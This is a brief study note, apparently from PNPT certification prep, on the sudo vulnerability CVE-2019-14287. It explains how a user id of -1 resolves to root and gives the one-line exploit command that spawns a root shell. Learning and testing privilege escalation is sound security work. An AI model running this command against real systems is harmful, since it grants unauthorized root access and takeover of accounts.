> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/sudo/cve-2019-14287-sudo-u-1-bin-bash.md).

# CVE-2019-14287 (sudo -u#-1 /bin/bash)

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

This can be used to take over any user account on the system, simple and straight forward.&#x20;

> ```py
> Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
> -u#-1 returns as 0 which is root's id
> ```

```
sudo -u#-1 /bin/bash
```